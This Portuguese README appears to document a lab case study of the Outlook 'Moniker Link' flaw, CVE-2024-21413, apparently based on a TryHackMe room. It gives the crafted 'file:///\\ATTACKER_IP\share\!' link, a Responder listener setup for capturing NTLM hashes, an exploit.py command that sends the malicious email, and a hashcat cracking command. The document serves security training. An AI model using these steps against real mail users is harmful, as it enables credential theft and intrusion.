
Um estudo de caso do CVE-2024-21413. Usado como parâmetro a sala do TryHackMe Moniker Link (CVE-2024-21413). Feito edições com claude code no exploit.
⚠️ Aviso Legal: Este repositório é exclusivamente para fins educacionais e de pesquisa em segurança. Todas as demonstrações foram realizadas em ambientes controlados e isolados. O uso dessas técnicas contra sistemas sem autorização explícita é ilegal e antiético.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2024-21413 |
| Divulgação | 13 de fevereiro de 2024 (Patch Tuesday) |
| CVSS Score | 9.8 (Crítico) |
| Produto | Microsoft Outlook |
| Tipo | RCE + Credential Leak (NTLM Hash) |
| Vetor | Network / E-mail (sem autenticação prévia) |
| Interação | Requer interação do usuário (clicar no link) |
| Apelido | Moniker Link |
A CVE-2024-21413 é uma vulnerabilidade crítica no Microsoft Outlook que permite a um atacante:
O nome "Moniker Link" vem da exploração de Component Object Model (COM) Monikers — um mecanismo do Windows para referenciar objetos por string — para contornar as proteções do Outlook contra links file://.
Normalmente, o Outlook bloqueia links file:// que apontam para recursos de rede, exibindo um aviso de segurança (Protected View). A falha está na forma como o Outlook processa URLs que contêm o caractere ! — um separador de Moniker.
Um link malicioso no formato:
file:///\\ATTACKER_IP\share\!something
O caractere ! faz com que o parser do Outlook interprete a URL como uma referência a um COM Moniker, ignorando as verificações de segurança normais. O resultado:
Atacante envia e-mail → Vítima clica no link → Outlook processa URL com "!"
→ Bypass da Protected View → Conexão SMB automática → Hash NTLM capturado
Para reproduzir este estudo de caso com segurança:
| Máquina | Sistema Operacional | Papel |
|---|---|---|
| Atacante | Kali Linux | Listener SMB + Exploit |
| Alvo | Windows 10/11 com Outlook vulnerável | Vítima |
Importante: Use uma rede isolada (NAT ou Host-Only no VirtualBox/VMware). Nunca execute em redes reais.
# Responder — listener SMB/HTTP para captura de hashes
sudo apt install responder
# Python 3 — para rodar o exploit
python3 --version
# Verificar conectividade entre as máquinas
ping <IP_ALVO>
ip a | grep inet
# Anote o IP da interface que se comunica com o alvo (ex: 192.168.56.10)
O Responder cria um servidor SMB falso que captura hashes de autenticação NTLM.
sudo responder -I eth0 -v
# Substitua eth0 pela sua interface de rede
Saída esperada:
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.56.20
[SMB] NTLMv2-SSP Username : DESKTOP-ALVO\usuario
[SMB] NTLMv2-SSP Hash : usuario::DESKTOP-ALVO:...
python3 exploit.py \
--sender [email protected] \
--recipient [email protected] \
--server <IP_SERVIDOR_EMAIL> \
--attacker-ip 192.168.56.10
Quando a vítima abre o e-mail e clica no link, o Responder captura automaticamente o hash NTLM. Este hash pode ser:
hashcat -m 5600 hash.txt wordlist.txt
Veja o arquivo exploit.py para o script completo e comentado.
Veja o arquivo diagrama-ataque.html para uma visualização interativa do fluxo completo do ataque.
Veja o arquivo MITIGACAO.md para o guia completo de mitigação e defesa.
Veja o arquivo CVE-BREAKDOWN.md para a análise técnica detalhada da vulnerabilidade.
Estudo de caso desenvolvido como parte de treinamento prático em segurança ofensiva via TryHackMe.
Este projeto segue os princípios de responsible disclosure e ethical hacking. Todo o conteúdo aqui presente visa a educação e a melhoria da postura de segurança.